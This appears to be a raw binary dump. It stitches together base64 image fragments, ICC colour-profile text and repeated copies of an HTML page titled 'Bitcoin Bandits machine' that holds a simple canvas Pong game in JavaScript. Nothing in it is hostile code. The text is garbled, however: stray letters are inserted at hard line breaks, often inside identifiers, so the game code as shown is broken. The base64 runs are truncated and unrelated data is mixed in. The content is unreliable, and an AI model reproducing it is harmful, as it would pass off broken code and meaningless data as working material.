tDhoxbFHD6eUUtp3370tRzJ8r9x4TdshMKZU0ABBqaAZmU7VnFJZOedPTM73no67yy+/vBi/853vTClNbiX9rEXl7eu/9vTPinGUvcadmKLEk1NBAwQlQQMEpcXBWNm9e3dKKaWvP929tlj8V+8qxtvu/W5P6/aydi/r7t27t2t8kyhvI5x11lnFuM2WQiemKPHkVNAAQUnQAEFpcTD2Fl5ybuX1Yx/8TPnFa68Y2NqDWBd6oYIGCEqCBghKi4Oxd/p5y4vxk98/ODZrQzcqaICgJGiAoLQ4GHt56yFvSTxx38NDWXsQ60IvVNAAQUnQAEFpcTCvDHOnhV0cjJoKGiAoFTRj7/gQP7Qb5trQjQoaICgJGiAoLQ7Gyrp161JKKX1gSOsOY23olwoaICgJGiAoLQ7GSv7cuG4uvvjiYvy1r32tlXVhLlTQAEFJ0ABBaXEwlvbs2TOWa0MTKmiAoCRogKAkaICgJGiAoCRogKAkaICgJGiAoOyDZiytXr16LNeGJlTQM
AEFJ0ABBaXEwVo4ePTpW68JcqKABgpKgAYLS4mCsHDp0qO0Qplm2bFnbITCPqaABgpKgAYLS4oCGDhw4UDlet25dC9Ewn6mgAYJSQTOW8sp1xYoVI33v/P18SMgwqaABgpKgAYLS4mAsjbqtAW1QQQMEJUEDBCVBAwQlQQMEJUEDBGUXBzTkVm9GRQUNEJQEDRCUFgc05CyOwdvyljcU47179w79/fbs2ZN9debQ369fKmiAoCRogKC0OBgr49JSuPjii9sOgXlABQ0QlAqakVm8ZGkxXnnJmpRSSlNTU22FM1Q7d+4sxp2fdVKtfFH5Idzll19ejPMPA3f867+NMqSUTnverN/OP7QceWwZFTRAUBI0QFBaHLSi0+6YhD//89YOpbsf+G7bIaSUUtr3w8faDqGWChogKAkaICgtDlrlz//JMorbuAchSpwqaICgJGiAoCRogKAkaICgJGiAoCRogKAkaICgJGiAoCRogKAkaICgJGiAoCRogKAkaICgJGiAoCRoM
gKAkaICgHNhfI8pB8lHiAEZPBQ0QlAQNEJQEDRCUBA0QlA8JgaHauXNn5fW1GzeNOJLZRYxTBQ0QlAQNENSCtRs3nWg7iDbc9ZUvth0CzCpaC6Bfdf+tRfv5IsapggYISoIGCGpiWxwA0amgAYKSoAGCkqABgpKgAYKSoAGCkqABgpKgAYKSoAGCkqABgpKgAYKSoAGCkqABgpKgAYKSoAGCkqABgpKgAYKSoAGCkqABgpKgAYKSoAGCkqABgpKgAYKSoAGCkqABgpKgAYKSoAGCkqABgpKgAYKSoAGCkqABgvp/mmPfjign79QAAAAASUVORK5CYII=" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const contextM
=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.widthM
>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaM
ddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRM
ect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});documL
ent.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
41gpz1zZ/xLuuuuuK8b5l4H/8M9fHWVIKa14zTmfzr+0HHlsGRU0QFASNEBQWhwdy+8Svpwspw33l9Pv2sT3Hj7cdQgppZSOHH+m6xAqqaABgpKgAYLS4ujY2qkLuw6hUz7+Ly+juIx7GKLEqYIGCEqCBghKi6Njm1Ze1HUIQFAqaICgJGiAoLQ4hmT/cy+klFLasMjXAbyaChogKBX0Ehw++WKIOYDJpIIGCEqCBghKi6OhIydfCj0fMDlU0ABBSdAAQWlx1DHX4obebc4NjDUVNEBQEjRAUFocVZ4+vqiX7Xh70/c5uaj3ASafChogKAkaICgtjlc78VTXEQCklFTQAGGpoFNK6egjXUcAE2vPnj2lxzdv2z7iSM4tYpwqaICgJGiAoJZViyP/qPLAPXd3GEkss7OzXYfAWfm/RbQWAKOnggYISoIGCOq8zdu2v9J1EAAspIIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYIM
SoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYISoIGCEqCBghKggYI6v8BZ2/MEaxjibwAAAAASUVORK5CYII=" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeighM
t/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddM
le.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.M
dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.heM
ight-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
